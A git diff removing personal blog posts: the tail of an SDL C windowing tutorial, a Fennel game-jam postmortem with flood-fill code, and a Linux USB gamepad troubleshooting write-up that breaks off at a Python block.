drawing any primitive geometry in this tutorial, but -I'm bringing this up because the renderer will use its associated color when -clearing the screen. So more about the function - it takes a renderer as an -argument, followed by red, green, blue, and alpha (transparency) values. I'm -going to make mine white (0xFF, 0xFF, 0xFF, 0xFF), but feel free to experiment. -After that, we'll be calling =SDL_RenderClear=, which takes a renderer as an -argument and, as I briefly mentioned a few lines ago, fills it with whatever -color the renderer is currently associated with. And finally, we'll call -=SDL_RenderPresent= to update the screen. This is where some people get a little -confused. Basically, in SDL you draw everything and /then/ update the screen, -meaning that you have as much time as you want to make the scene perfect before -you have to show it to the user. And we're pretty much done! Let's look at the -basic program: - -#+BEGIN_SRC c :hl_lines 0 -#include -#include - -int main(int argc, char *argv[]) { - SDL_Window *my_cool_window; - SDL_Renderer *my_cool_renderer; - - if (SDL_Init(SDL_INIT_VIDEO)) { - fprintf(stderr, "ERROR: %s\n", SDL_GetError()); - return 1; - } - - my_cool_window = SDL_CreateWindow("Bush Did Harambe", - SDL_WINDOWPOS_UNDEFINED, - SDL_WINDOWPOS_UNDEFINED, - 400, 400, SDL_WINDOW_SHOWN); - if (!my_cool_window) { - fprintf(stderr, "ERROR: %s\n", SDL_GetError()); - return 1; - } - - my_cool_renderer = SDL_CreateRenderer(my_cool_window, - -1, - SDL_RENDERER_ACCELERATED); - if (!my_cool_renderer) { - fprintf(stderr, "ERROR: %s\n", SDL_GetError()); - return 1; - } - - SDL_SetRenderDrawColor(my_cool_renderer, 0xFF, 0xFF, 0xFF, 0xFF); - SDL_RenderClear(my_cool_renderer); - SDL_RenderPresent(my_cool_renderer); - - SDL_Delay(4000); - SDL_DestroyRenderer(my_cool_renderer); - SDL_DestroyWindow(my_cool_window); - SDL_Quit(); - return 0; -} -#+END_SRC - -Let's run it: - -#+CAPTION: A screenshot of the completed window on my system. -[[./finished-window.png]] - -To recap, we learned about: - -* SDL Functions - -- *SDL_Init*: Used to initialize SDL. Takes a flag as a parameter. Returns 0 if - it succeeds, or a negative value if it fails. -- *SDL_Quit*: Complements =SDL_Init=. Takes no parameters and returns nothing. -- *SDL_CreateWindow*: Creates a window and returns a pointer to it, or =NULL= if - it fails. Takes a title, X and Y positions, width, height, and a flag as - parameters. -- *SDL_DestroyWindow*: Complements =SDL_CreateWindow=, takes a =SDL_Window= - pointer as an argument and returns nothing. -- *SDL_CreateRenderer*: Called to create a renderer, and returns a pointer to - it, or =NULL= if it fails. Takes the =SDL_Window= pointer for the window you - want to create a renderer for, an index (usually -1), and a flag as - parameters. -- *SDL_DestroyRenderer*: Complements =SDL_CreateRenderer=. Takes a - =SDL_Renderer= pointer as an argument and returns nothing -- *SDL_Delay*: Takes a number of milliseconds as an argument, and proceeds to - wait for that period of time. -- *SDL_SetRenderDrawColor*: Takes a renderer, red, green, blue, and alpha values - as arguments, and changes the color associated with the given renderer. -- *SDL_RenderClear*: Takes a renderer as an argument and fills it with whatever - color is currently associated with that renderer. -- *SDL_RenderPresent*: "Refreshes" the renderer, presenting the image to the - user. - -* Type Definitions - -- *SDL_Window*: Captures the result of =SDL_CreateWindow=. -- *SDL_Renderer*: Captures the result of =SDL_CreateRenderer=. - -And if you would like to read more, here are some additional resources: - -- [[https://wiki.libsdl.org/SDL_Init#Remarks][SDL Documentation - SDL_Init (Remarks)]] -- [[https://wiki.libsdl.org/SDL_WindowFlags][SDL Documentation - Window Flags]] -- [[https://wiki.libsdl.org/SDL_RendererFlags][SDL Documentation - Renderer Flags]] - -You're still reading? Well, this is my first tutorial ever. If you have any -feedback, be it positive or negative, I'd love to hear it! I hope this tutorial -was helpful, there are many more to come. diff --git a/org/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/window.png b/org/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/window.png deleted file mode 100644 index 0bbe5fc..0000000 Binary files a/org/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/window.png and /dev/null differ diff --git a/org/Slime the World: A Postmortem/slime-the-world-postmortem.org b/org/Slime the World: A Postmortem/slime-the-world-postmortem.org deleted file mode 100644 index 8a282f3..0000000 --- a/org/Slime the World: A Postmortem/slime-the-world-postmortem.org +++ /dev/null @@ -1,320 +0,0 @@ -#+TITLE: Slime the World: A Postmortem -#+DATE: <2018-11-02 Fri 08:27> -#+TAGS: writeup, video-games, programming, game-development, lua, lisp, fennel - -[[https://itch.io/jam/autumn-lisp-game-jam-2018/rate/321822][Slime the World]] was my entry to this year's [[https://itch.io/jam/autumn-lisp-game-jam-2018][Autumn Lisp Game Jam]], and it managed -to win second place. The theme was slime, so it’s a game about covering -everything in sight with slime, and the dialect of Lisp I chose to use was -[[https://fennel-lang.org/][Fennel]], a simple and elegant Lisp that I feel perfectly matches the simplicity -and elegance of Lua. It takes on a more "modern" style that I associate with -Lisps such as Clojure. I had initially pushed Clojure to the side, feeling it -was too different from Common Lisp, but now that I've had a positive firsthand -experience with a Lisp where lists /aren't/ the data structure you always reach -for, I'm hoping to return to it with an open mind. - -When I signed up, I thought that the ten-day deadline was lax compared with some -of the more well-known jams like [[https://ldjam.com/][Ludum Dare]]. Being given ten days to complete a -submission was certainly more permissive than two would have been, but I found -that participating in a game jam and simultaneously juggling coursework from -university was challenging. To me, the point of a short deadline is so that you -can sit down and focus on nothing but developing the game for the stretch of the -jam, but even dedicating one weekend to working on the game felt irresponsible -when I had papers to write, problem sets to grind, and exams to study for. I -actually made myself submit the entry two days before the deadline so that I -wouldn't be working on it when I went home to visit my family this past weekend. -I had fun, though, didn't fall behind in my academics, and still had plenty of -time to spend with the people I love most. - -All in all, I'm very happy with my decision to participate. This was my first -game jam, and I think given the smaller size and relatively laid back -atmosphere, it was a wise choice for first jam. The dynamic nature of Lisp made -for a pleasant game development experience, I had an opportunity to try my hand -at sprite work in GIMP, and this is the first time I can say that I've -"finished" one of my games! I've made plenty of prototypes (which I now feel -inspired to return to and write a blog post about), but they never graduated -past the prototype stage. This reminds me of a point in [[https://www.youtube.com/watch?v=jGjq-C5cj2c&list=PLRDhcp_8c7uAPQfE6WMBo7PCNlkQIOLdO&index=5&t=0s][an entry to -3kliksphilip's "The Game Making Journey"]], which I took to be a suggestion to -finish at least one relatively basic game before starting on something huge and -deep[fn:1]: "I had no idea what people wanted from my proper games, like Sundown -Shambles or Don't Look Down, which were still not getting positive reviews even -after weeks of development - to me these were perfect, or at least a lot closer -to that status than other peoples' games and I had no idea of how I was supposed -to improve on them further. I learned that I should build things from the ground -up, getting it to work on a basic level before elaborating on it, rather than -starting with some obscure or absurdly complex idea and shoe-horning it into -something that people could play, relying on depth to compensate for lack of -balance or fun." In my case, those prototypes never went anywhere because I -wasn't focused on getting a simple base that was engaging, I had an -underdeveloped vision of gameplay and tried to implement the entire thing at -once, which inevitably led to me giving up. - -Surprisingly, one of the highlights for me was actually adapting [[https://en.wikipedia.org/wiki/Flood_fill][flood fill]] to -figure out how many surfaces in the map can be slimed. It's a pleasingly simple -algorithm, but until now, I've never had a reason to implement it. The following -isn't the code that's actually used in the game - it's been *significantly* -cleaned up, and works on maps made from text-based tiles instead of the -structures that the game uses to represent tiles, but I'm including a little -code walkthrough because I really just admire the simplicity of the algorithm. -It's also decoupled from the game code if you want to run it yourself, just make -sure [[https://raw.githubusercontent.com/rxi/lume/master/lume.lua][lume.lua]] is present. - -#+BEGIN_SRC fennel :hl_lines 0 -(local lume (require :lume)) - -(fn index-out-of-bounds [world x y] - (or (< y 0) (>= y (# world)) - (< x 0) (>= x (# (. world (+ y 1)))))) - -(fn tile-at [world x y] - (when (index-out-of-bounds world x y) - (error (string.format "(%d, %d) is out of bounds" x y))) - (. world (+ y 1) (+ x 1))) - -(fn iter-tiles [world] - (var x 0) - (var y 0) - - (let [height (# world)] - (fn [] - (if (< y height) - (let [last-x x - last-y y - tile (tile-at world x y) - width (- (# (. world (+ y 1))) 1)] - (if (>= x width) - (do - (set x 0) - (set y (+ 1 y))) - (set x (+ 1 x))) - (values last-x last-y tile)) - nil)))) - -;; Returns some tile in `world' of type `tile-type', or nil if no such tile is -;; present. -(fn find-any [tile-type world] - (var res nil) - (each [x y tile (iter-tiles world)] - (when (and (= tile tile-type) (not res)) - (set res [x y]))) - res) - -;; Returns whether or not `tile' exists in `checked'. -(fn tile-checked [checked x y] - (lume.match checked - (fn [tile] - (let [(other-x other-y) (unpack tile)] - (and (= x other-x) - (= y other-y)))))) - -;; Modified implementation of . -(fn count-surfaces-recur [world x y checked] - (let [check-adjacent (fn [world x y checked] - (if (index-out-of-bounds world x y) - 0 - (if (= " " (tile-at world x y)) - (count-surfaces-recur world x y checked) - 1)))] - (if (tile-checked checked x y) - 0 - (do (table.insert checked [x y]) - (+ (check-adjacent world (+ x 1) y checked) - (check-adjacent world (- x 1) y checked) - (check-adjacent world x (+ y 1) checked) - (check-adjacent world x (- y 1) checked)))))) - -;; Returns the number of slime-able surfaces in the given grid of tiles. -(fn count-surfaces [world] - (let [seed (find-any " " world)] - (when seed - (let [(x y) (unpack seed)] - (count-surfaces-recur world x y []))))) - -(let [world [["█" "█" "█" "█"] - ["█" " " "█" "█"] - ["█" " " " " "█"] - ["█" " " " " "█"] - ["█" "█" "█" "█"]]] - (print (count-surfaces world))) -#+END_SRC - -There are a few shortcomings of this implementation (chiefly, the map has to be -one enclosed space, there can't be any "empty" tiles around the map's border), -but for the purposes of a game jam entry, it did the job wonderfully. [[https://github.com/rxi/lume][=lume=]] is -an excellent library that prides itself on being "geared towards gamedev," but -as you can see from the code, it also provides some general iteration constructs -that prove useful when programming in a more functional style. =tile-at= and -=index-out-of-bounds= are just my mapping of cartesian coordinates onto a Lua -array (which are indexed starting at 1, /not/ 0). =iter-tiles= provides an -[[https://www.lua.org/pil/7.1.html][iterator]] over the text-based world structure I'm using, yielding an =x=, a =y=, -and the =tile= for every addressable location in the world. It's more stateful -than I'd like, and I know that Lua supports [[https://www.lua.org/pil/7.3.html][stateless iterators]], but I didn't -really want to figure those out. Lisp is multi-paradigm, after all. - -All =count-surfaces= does is find a place for =count-surfaces-recur= to start, -which is where the real meat of the algorithm is. As the name implies, it's -recursive: - -1. If the tile's been checked already, stop and return 0. -2. For each adjacent tile (one step north, west, east, and south), sum: - 1. 1, if the tile is a wall (as that means we've hit one side of the tile) - 2. The return value of =count-surfaces-recur= if it isn't a wall -3. Return that sum. - -We're really just walking the map's empty space and keeping track of every time -we hit the side of a tile. There are better ways to implement flood fill, but I -think this is fairly easy to reason about and understand. - -Participating in the game jam taught me several lessons, and there are a few I -would like to share with you: - -* The First Solution Doesn't Have To Be The Best Solution - -I find that, when I initially set out to write a blog post or something similar, -I'm most effective if I direct my attention towards getting words down on paper -and pay little mind to formatting or coherence. Both are easily addressed later -on in the writing process, and having the words in a malleable medium gives me a -framework to run with. This is different than the approach I typically take when -programming, where I do a lot of planning in my head and strive to nail the most -elegant solution on the first try. "Most elegant," being, of course, subjective. -However, working within a strict deadline pushed me towards putting out some -arguably "hackier" code, which in turn helped me to realize the usefulness of -applying my "get words down on paper" methodology to programming. Allow me to -elaborate with some examples. - -The first iteration of the code for updating the camera looked like this: - -#+BEGIN_SRC fennel :hl_lines 0 -;; Update camera. -(set camera-x (lume.lerp camera-x (- swanky-x camera-lock-goal-x) dt)) -(set camera-y (lume.lerp camera-y (- swanky-y camera-lock-goal-y) dt)) - -;; Lock camera so that it doesn't go out of bounds. -(when (> 0 camera-x) - (set camera-x 0)) - -(when (> 0 camera-y) - (set camera-y 0)) - -(when (>= camera-x (- (* tile-width (- (. sandbox :width) 3)) screen-width)) - (set camera-x (- (* tile-width (- (. sandbox :width) 3)) screen-width))) - -(when (>= camera-y (- (* tile-height (- (. sandbox :height) 2)) screen-height)) - (set camera-y (- (* tile-height (- (. sandbox :height) 2)) screen-height))) -#+END_SRC - -All of the variables you see above, with the exception of =dt=, are globally -accessible and mutable. This is typically frowned upon in production code, but I -think that for a first iteration, globals make the code easier to think about, -and that's more effective for grounding the ideas that you have. - -Now that I was able to see which information was associated with which concepts -in the code, I was able to replace the loose global variables with tables. This -was the subsequent iteration: - -#+BEGIN_SRC fennel :hl_lines 0 -;; Update camera. -(tset camera :x-pos (lume.lerp (. camera :x-pos) - (- (. player :x-pos) camera-lock-goal-x) (* 4 dt))) -(tset camera :y-pos (lume.lerp (. camera :y-pos) - (- (. player :y-pos) camera-lock-goal-x) (* 4 dt))) -;; Lock camera so that it doesn't go out of bounds. -(when (> 0 (. camera :x-pos)) - (tset camera :x-pos 0)) - -(when (> 0 (. camera :y-pos)) - (tset camera :y-pos 0)) - -(let [max-x (- (* (. map :tiles :width) (. world :width)) screen-width)] - (when (>= (. camera :x-pos) max-x) - (tset camera :x-pos max-x))) - -(let [max-y (- (* (. map :tiles :height) (. world :height)) screen-height)] - (when (>= (. camera :y-pos) max-y) - (tset camera :y-pos max-y))) -#+END_SRC - -I think this less readable, but again, much like with writing, formatting and -coherence are things you can and should come back to. The current version of the -game has more general function that abstracts this notion of updating the camera -into a function that doesn't incur side effects. - -#+BEGIN_SRC fennel :hl_lines 0 -(fn focus-on-object [camera object dt] - (let [last-x (. camera :x-pos) - last-y (. camera :y-pos) - max-x (. camera :max-x) - max-y (. camera :max-y) - object-x (. object :x-pos) - object-y (. object :y-pos) - width (. object :width) - height (. object :height) - screen-width (. camera :screen-width) - screen-height (. camera :screen-height) - x-offset (math.floor (- (/ screen-width 2) (/ width 2))) - y-offset (math.floor (- (/ screen-height 2) (/ height 2))) - x (lume.lerp last-x (- object-x x-offset) (* 4 dt)) - y (lume.lerp last-y (- object-y y-offset) (* 4 dt)) - x (lume.clamp x 0 max-x) - y (lume.clamp y 0 max-y)] - (values x y))) -#+END_SRC - -This version is still, in my opinion, "hacky." For one, the code is mostly field -retrieval, and this could probably be broken up into smaller functions for -clarity. I believe the reason for the upper bound on elegance was actually that -I tried to refactor too early. I made the transition from global variables to -tables within the first two days of the jam, so very few of the features in the -final game had an initial implementation, and as such, I was lacking a complete -"big picture" when designing the data layout. - -Writing this section, I was reminded of a snippet from a [[https://www.facebook.com/permalink.php?story_fbid=2110408722526967&id=100006735798590][Facebook post]] that was -posted by one my idols, John Carmack: "I used a common pattern for me: get first -results with hacky code, then write a brand new and clean implementation with -the lessons learned, so they both exist and can be cross checked." I'm hoping to -apply this to my future programming work. It's been said that "weeks of -programming can save you hours of planning," but I think that getting some code -down that works is an excellent precursor to the planning process. - -* Learn Your Tools Ahead Of Time - -I was fortunate enough to have experience with Lua prior to the jam, so the -general concepts regarding tables and such weren't foreign, and I had guidance -in the form of [[https://technomancy.us][Phil Hagelberg]]'s blog post[fn:2], [[https://technomancy.us/188]["in which a game jam is recounted -further"]] and the source code to [[https://gitlab.com/technomancy/exo-encounter-667][EXO_encounter 667]]. Regardless, I didn't /learn/ -Fennel until the jam had started. This wasn't a huge deal, as Lisps are -syntactically identical and I was able to pick it up without much trouble, but -there were inevitably nuances, and I really wish that I had at least played -around with Fennel in the days leading up to the jam. It took me four days to -realize that bindings in a =let= form could refer to earlier bindings in that same -form, much like the behavior of =let*= in Common Lisp. It also took time to get -used to reaching for tables and booleans rather than conses, and I never learned -how macros work in Fennel. To my understanding, they have to be declared in -separate modules, and there is no backquote syntax. Again, things I could have -figured out had I just used Fennel prior to writing a game with it. - -Also, I still do not know why, but [[https://gitlab.com/technomancy/fennel-mode][=fennel-mode=]] does not work with my Emacs -configuration. Some =init.el= bisecting revealed that =(require 'package)= -messed up fennel-mode's indentation function somehow. Whenever I worked on the -game, I had to run a separate =emacs -q= and =eval-buffer= on =fennel-mode.el=. -Fortunately, it wasn't too inconveniencing, but it did make me want to redo my -Emacs config at some point in the future. - -* Don't Be Too Ambitious - -Going back to the point about juggling this with university, I probably could -have picked a less ambitious idea for the jam. There were loads of unused assets -and unimplemented ideas. I had plans for implementing particle systems, parallax -scrolling, a big ol' Metroidvania-styled map with interconnected rooms, enemies, -saving, gamepad support, &c, &c, &c. A minimal portion of my initial vision made -it into the end product, to say the least. Toning back the idea blast probably -would have helped me focus on what was important to implement. - -Huge thanks to [[https://www.michaelfiano.com/][Michael Fiano]] for hosting the jam, and to the community for being -so damn great. Everyone was willing to help one another - Phil was kind enough -to [[https://itch.io/post/581643][share his makefile with me]][fn:3], and I made plenty of friends along the way. - -[fn:1] After returning to rewatch the series after publishing this post, I came to the realization that I was thinking of another point in another video. For those curious, the topic of finishing a simple game before tackling something bigger is covered in [[https://www.youtube.com/watch?v=1jn39JJYW3A&t=0s&list=PLRDhcp_8c7uAPQfE6WMBo7PCNlkQIOLdO&index=6][the fifth entry]]. - -[fn:2] Which was actually my main inspiration to use Fennel for this jam. - -[fn:3] Sadly, due to time constraints, I did not end up using it for the submission. I do, however, have intentions to go back and incorporate it into my post-jam fixes. diff --git a/org/Sorry Guys I Have To Troubleshoot My USB Drivers Before I Can Play With You/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play-wireshark.png b/org/Sorry Guys I Have To Troubleshoot My USB Drivers Before I Can Play With You/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play-wireshark.png deleted file mode 100644 index 2d993af..0000000 Binary files a/org/Sorry Guys I Have To Troubleshoot My USB Drivers Before I Can Play With You/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play-wireshark.png and /dev/null differ diff --git a/org/Sorry Guys I Have To Troubleshoot My USB Drivers Before I Can Play With You/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play.org b/org/Sorry Guys I Have To Troubleshoot My USB Drivers Before I Can Play With You/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play.org deleted file mode 100644 index 6739faf..0000000 --- a/org/Sorry Guys I Have To Troubleshoot My USB Drivers Before I Can Play With You/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play.org +++ /dev/null @@ -1,254 +0,0 @@ -#+TITLE: Sorry Guys, I Have to Troubleshoot My USB Drivers Before I Can Play With You -#+DATE: <2024-06-23 Sun 14:35> -#+TAGS: writeup reverse-engineering linux operating-systems hardware - -This blog post is about a GNU/Linux rabbit hole I fell down in the belief I was chasing a mighty adventure. It was not nearly as adventurous as I had hoped, but I am nonetheless posting about it in case this information is helpful to someone else.[fn:1] My story begins with a purchase of four wireless gamepads from [[https://www.8bitdo.com/][8BitDo]]. I had done little research outside of scrolling past a few positive comments about their products on [[https://en.wikipedia.org/wiki/Fediverse][the Fediverse]] and viewing enough of their marketing materials to see that the controller I was interested in was [[https://www.8bitdo.com/ultimate-bluetooth-controller/#content-1-9][supported by SteamOS]][fn:2]. That was enough to encourage me to put in an order, so I did, and patiently awaited their arrival. When they were finally in my hands, I plugged two of them into my media center, hoping to play some Mario Kart with [[https://hewwo.ooo/][Oli]]. They were clearly working in some capacity because [[https://en.wikipedia.org/wiki/RetroArch][RetroArch]] pops up a [[https://en.wikipedia.org/wiki/Pop-up_notification][toast]] when it detects that a controller has been plugged in, but something was wrong. I twiddled the analog sticks and I mashed the buttons. Nothing seemed to happen. - -This was potentially a hardware issue, so a natural first step is to check the [[https://en.wikipedia.org/wiki/Dmesg][kernel logs]]. We're lucky to find a wealth of information to help us troubleshoot. Unfortunately, some of these clues hint that the controllers may not be as well-supported under GNU/Linux as I had previously imagined. The read-out below begins at the point I plug the controller (or 2.4 GHz dongle) into my computer. - -#+BEGIN_SRC prog -... -[ 1184.030714] usb 3-1.2: new full-speed USB device number 3 using ehci-pci -[ 1184.115318] usb 3-1.2: New USB device found, idVendor=2dc8, idProduct=3106, bcdDevice= 1.14 -[ 1184.115327] usb 3-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=3 -[ 1184.115331] usb 3-1.2: Product: 8BitDo Ultimate Controller -[ 1184.115333] usb 3-1.2: Manufacturer: 8BitDo -[ 1184.115336] usb 3-1.2: SerialNumber: 36d4f8d817e4 -[ 1184.127567] input: 8BitDo Pro 2 Wired Controller as /devices/pci0000:00/0000:00:1d.0/usb3/3-1/3-1.2/3-1.2:1.0/input/input28 -[ 1184.127627] usbcore: registered new interface driver xpad -[ 1184.139303] input input28: unable to receive magic message: -121 -[ 1185.336638] usb 3-1.2: USB disconnect, device number 3 -[ 1185.517720] usb 3-1.2: new full-speed USB device number 4 using ehci-pci -[ 1185.599178] usb 3-1.2: New USB device found, idVendor=057e, idProduct=2009, bcdDevice= 2.00 -[ 1185.599187] usb 3-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=3 -[ 1185.599190] usb 3-1.2: Product: Pro Controller -[ 1185.599193] usb 3-1.2: Manufacturer: Nintendo.Co.Ltd. -[ 1185.599195] usb 3-1.2: SerialNumber: 000000000001 -[ 1185.601479] input: Nintendo.Co.Ltd. Pro Controller as /devices/pci0000:00/0000:00:1d.0/usb3/3-1/3-1.2/3-1.2:1.0/0003:057E:2009.0005/input/input29 -[ 1185.601541] hid-generic 0003:057E:2009.0005: input,hidraw4: USB HID v1.11 Joystick [Nintendo.Co.Ltd. Pro Controller] on usb-0000:00:1d.0-1.2/input0 -[ 1188.920613] usb 3-1.2: USB disconnect, device number 4 -[ 1189.109706] usb 3-1.2: new full-speed USB device number 5 using ehci-pci -[ 1189.193909] usb 3-1.2: New USB device found, idVendor=2dc8, idProduct=3106, bcdDevice= 1.14 -[ 1189.193918] usb 3-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=3 -[ 1189.193921] usb 3-1.2: Product: 8BitDo Ultimate Controller -[ 1189.193924] usb 3-1.2: Manufacturer: 8BitDo -[ 1189.193926] usb 3-1.2: SerialNumber: 36d4f8d817e4 -[ 1189.194505] input: 8BitDo Pro 2 Wired Controller as /devices/pci0000:00/0000:00:1d.0/usb3/3-1/3-1.2/3-1.2:1.0/input/input30 -[ 1189.206821] input input30: unable to receive magic message: -121 -[ 1190.456603] usb 3-1.2: USB disconnect, device number 5 -[ 1190.637736] usb 3-1.2: new full-speed USB device number 6 using ehci-pci -[ 1190.719644] usb 3-1.2: New USB device found, idVendor=057e, idProduct=2009, bcdDevice= 2.00 -[ 1190.719653] usb 3-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=3 -[ 1190.719657] usb 3-1.2: Product: Pro Controller -[ 1190.719659] usb 3-1.2: Manufacturer: Nintendo.Co.Ltd. -[ 1190.719662] usb 3-1.2: SerialNumber: 000000000001 -[ 1190.721853] input: Nintendo.Co.Ltd. Pro Controller as /devices/pci0000:00/0000:00:1d.0/usb3/3-1/3-1.2/3-1.2:1.0/0003:057E:2009.0006/input/input31 -[ 1190.721910] hid-generic 0003:057E:2009.0006: input,hidraw4: USB HID v1.11 Joystick [Nintendo.Co.Ltd. Pro Controller] on usb-0000:00:1d.0-1.2/input0 -[ 1191.104940] usb 5-2: device descriptor read/64, error -110 -[ 1191.320864] usb 5-2: reset high-speed USB device number 2 using xhci_hcd -[ 1194.040579] usb 3-1.2: USB disconnect, device number 6 -[ 1194.220713] usb 3-1.2: new full-speed USB device number 7 using ehci-pci -[ 1194.305496] usb 3-1.2: New USB device found, idVendor=2dc8, idProduct=3106, bcdDevice= 1.14 -[ 1194.305505] usb 3-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=3 -[ 1194.305509] usb 3-1.2: Product: 8BitDo Ultimate Controller -[ 1194.305511] usb 3-1.2: Manufacturer: 8BitDo -[ 1194.305514] usb 3-1.2: SerialNumber: 36d4f8d817e4 -[ 1194.306180] input: 8BitDo Pro 2 Wired Controller as /devices/pci0000:00/0000:00:1d.0/usb3/3-1/3-1.2/3-1.2:1.0/input/input32 -[ 1194.318768] input input32: unable to receive magic message: -121 -[ 1195.576570] usb 3-1.2: USB disconnect, device number 7 -[ 1195.756718] usb 3-1.2: new full-speed USB device number 8 using ehci-pci -[ 1195.838587] usb 3-1.2: New USB device found, idVendor=057e, idProduct=2009, bcdDevice= 2.00 -[ 1195.838595] usb 3-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=3 -[ 1195.838599] usb 3-1.2: Product: Pro Controller -[ 1195.838601] usb 3-1.2: Manufacturer: Nintendo.Co.Ltd. -[ 1195.838604] usb 3-1.2: SerialNumber: 000000000001 -[ 1195.840810] input: Nintendo.Co.Ltd. Pro Controller as /devices/pci0000:00/0000:00:1d.0/usb3/3-1/3-1.2/3-1.2:1.0/0003:057E:2009.0007/input/input33 -[ 1195.840984] hid-generic 0003:057E:2009.0007: input,hidraw4: USB HID v1.11 Joystick [Nintendo.Co.Ltd. Pro Controller] on usb-0000:00:1d.0-1.2/input0 -[ 1199.160545] usb 3-1.2: USB disconnect, device number 8 -[ 1199.341723] usb 3-1.2: new full-speed USB device number 9 using ehci-pci -[ 1199.425711] usb 3-1.2: New USB device found, idVendor=2dc8, idProduct=3106, bcdDevice= 1.14 -[ 1199.425720] usb 3-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=3 -[ 1199.425724] usb 3-1.2: Product: 8BitDo Ultimate Controller -[ 1199.425726] usb 3-1.2: Manufacturer: 8BitDo -[ 1199.425729] usb 3-1.2: SerialNumber: 36d4f8d817e4 -[ 1199.426262] input: 8BitDo Pro 2 Wired Controller as /devices/pci0000:00/0000:00:1d.0/usb3/3-1/3-1.2/3-1.2:1.0/input/input34 -[ 1199.438796] input input34: unable to receive magic message: -121 -... -#+END_SRC - -Let's break down what we're being told here. - -1. When I plug the controller into my computer, it advertises itself as "8BitDo Pro 2 Wired Controller" (=2dc8:3106=), which the kernel recognizes and loads the =xpad= module to handle. - 1. =xpad= is for devices that emulate various Xbox controllers. -2. =evdev= attempts to receive a "magic message" but fails with an error code of =-121=. -3. A disconnect event occurs (prompted by the controller -- I didn't unplug anything), and the controller re-appears as "Nintendo.Co.Ltd. Pro Controller" (=057e:2009=). -4. Another disconnect, and the controller re-appears as it did initially. - 1. Same "magic message" error. -5. Another disconnect, and we're back to pretending to be a Switch controller. - 1. This time, there's a device descriptor read error. -6. Repeat this again. -7. Give up after advertising one last time as =2dc8:3106=. - -Peering into the =xpad= [[https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/drivers/input/joystick/xpad.c?h=v6.10-rc4#n374][source code]], it's clear that this device /is/ supported by my kernel, but for some reason, the controller isn't sending anything. If I =cat= the device and wiggle the analog sticks, nothing shows up. - -* Is it a problem with the controller? - -At this point, I wanted to rule out that the problem wasn't the hardware itself, so I fired up my Windows 10 VM. QEMU supports USB pass-through, whereby the guest operating system effectively has direct access to the device. If the controller would work on a computer that's actually running Windows, then it should hypothetically work in a virtual machine with the controller passed through. - -Typically, you specify either a vendor and product ID to pass through (which uniquely identifies a particular brand and model of USB device), or a host bus and host address (which is an identifier that the kernel allocates to a device when it's plugged in). But because the vendor/product ID pair is oscillating, and because Linux is going to allocate a new host address for the controller each time it re-connects (because it is seen as a new device each time), I instead [[https://unix.stackexchange.com/questions/452934/can-i-pass-through-a-usb-port-via-qemu-command-line][pass through an entire USB port]][fn:3]. - -I'm met with one disconnect, initially, but I then have a "Pro Controller" device that works. If I disconnect the controller from Windows and open =SDLJoytest-GL= on my host operating system.. I get input! From this, we know that the issue is with my kernel. - -I took a bit of a break at this point, but came across this [[https://gist.github.com/ammuench/0dcf14faf4e3b000020992612a2711e2][GitHub Gist]] about getting the controller to work in Linux. The =udev= rule didn't do me any good because I'm on a recent enough kernel that upstream =xpad= already has the vendor/product ID for this controller, but the comment a few pages down from Adrian Wilkins suggests that the disconnect/reconnect behavior is because the controller is trying to figure out if it's connected to a Nintendo Switch. - -* Does it work on the Steam Deck? - -The 8BitDo website claims that the controller works on the Steam Deck, so I pulled mine out to verify and.. indeed, it does, without any of the disconnect/reconnect dance. - -#+BEGIN_SRC prog -[ 2940.018861] usb 1-1.1: new full-speed USB device number 7 using xhci_hcd -[ 2940.197350] usb 1-1.1: New USB device found, idVendor=2dc8, idProduct=3106, bcdDevice= 1.14 -[ 2940.197360] usb 1-1.1: New USB device strings: Mfr=1, Product=2, SerialNumber=3 -[ 2940.197363] usb 1-1.1: Product: 8BitDo Ultimate Controller -[ 2940.197365] usb 1-1.1: Manufacturer: 8BitDo -[ 2940.197367] usb 1-1.1: SerialNumber: 36d4f8d817e4 -[ 2940.305610] input: 8BitDo Pro 2 Wired Controller as /devices/pci0000:00/0000:00:08.1/0000:04:00.3/usb1/1-1/1-1.1/1-1.1:1.0/input/input53 -[ 2940.305743] usbcore: registered new interface driver xpad -[ 2940.317356] input input53: unable to receive magic message: -121 -[ 2940.370371] input input53: unable to receive magic message: -121 -[ 2940.437335] input input53: unable to receive magic message: -121 -[ 2941.108365] input input53: unable to receive magic message: -121 -[ 2941.375444] input: Microsoft X-Box 360 pad 1 as /devices/virtual/input/input54 -#+END_SRC - -So, what gives? I'd initially thought that 8BitDo might have submitted a patch to Valve to add support for their controllers in the SteamOS kernel fork, but I cloned [[https://iliana.fyi/blog/build-your-own-steamos-updates/][the sources]] for the SteamOS version I was running and found that =xpad.c= hadn't been altered at all from upstream. I didn't see anything strange in =lsmod=, and =lsusb= told me that it really is =xpad= that's managing the controller. At this point I thought that the host detection might be implemented by something in userland, so I broke out Wireshark to investigate traffic on the USB hub. - -#+CAPTION: Two Wireshark (QT) traces: one from my workstation, and one from the Steam Deck. The delta is highlighted and explained in the following paragraphs. -[[file:sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play-wireshark.png]] - -It takes a close eye, but we can see that the Steam Deck's kernel sends a USB interrupt /before/ polling the controller for interrupts. - -If you aren't familiar with USB, think of this as a socket. The Steam Deck's kernel is doing a =write= before doing a =read=, whereas my kernel is doing a =read= first, and this seems to be confusing the controller. (In the "bad" trace, the response to the =URB_INTERRUPT in= is =-ENOENT=.) - -The interrupt that the Steam Deck sends to the controller is just three bytes: =01 03 02=. Simple enough. Let's see if sending those bytes over fixes it. - -#+BEGIN_SRC python 